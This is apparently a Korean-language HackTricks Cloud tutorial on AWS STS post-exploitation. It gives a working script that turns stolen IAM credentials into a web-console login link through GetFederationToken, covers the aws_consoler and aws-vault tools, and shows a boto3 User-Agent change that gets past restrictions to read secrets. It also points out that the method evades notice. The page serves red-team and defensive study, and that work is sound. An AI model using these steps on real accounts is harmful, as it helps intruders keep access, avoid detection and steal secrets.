AWS - STS Post Exploitation
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
STS
자세한 정보:
AWS - IAM, Identity Center & SSO Enum
From IAM Creds to Console
만약 IAM credentials를 획득했다면, 다음 도구들을 사용하여 웹 콘솔에 액세스하는 데 관심이 있을 수 있습니다.
참고로 사용자/역할은 sts:GetFederationToken 권한을 가지고 있어야 합니다.
커스텀 스크립트
다음 스크립트는 기본 프로파일과 기본 AWS 리전(gov 및 cn 제외)을 사용하여 웹 콘솔에 로그인하는 데 사용할 수 있는 서명된 URL을 제공합니다:
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi
# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"
# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
aws_consoler
다음 도구로 웹 콘솔 링크를 생성할 수 있습니다: https://github.com/NetSPI/aws_consoler.
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
warning
IAM 사용자에게 sts:GetFederationToken 권한이 있는지 확인하거나, assume할 role을 제공하세요.
aws-vault
aws-vault 은 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하기 위한 도구입니다.
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
note
또한 aws-vault를 사용하여 브라우저 콘솔 세션을 얻을 수 있습니다
Python에서 User-Agent 제한 우회
사용된 user agent에 따라 특정 작업 수행이 제한되는 경우(예: user agent에 따라 python boto3 라이브러리 사용을 제한하는 경우) 이전 기술을 사용해 브라우저를 통해 웹 콘솔에 연결하거나, 또는 다음과 같이 직접 boto3 user-agent를 수정할 수 있습니다:
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")
# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
sts:GetFederationToken
이 권한을 사용하면 실행하는 사용자에게 부여된 권한으로만 제한된 연합 ID(federated identity)를 생성할 수 있습니다.
aws sts get-federation-token --name <username>
sts:GetFederationToken이 반환하는 토큰은 호출 사용자의 federated identity에 속하지만 권한이 제한됩니다. 사용자가 관리자 권한을 가지고 있더라도, IAM users 목록 조회나 policies 첨부와 같은 특정 작업은 federated token으로는 수행할 수 없습니다.
또한 이 방법은 다소 은밀합니다. federated user가 AWS Portal에 표시되지 않기 때문에 CloudTrail 로그나 모니터링 도구를 통해서만 관찰할 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud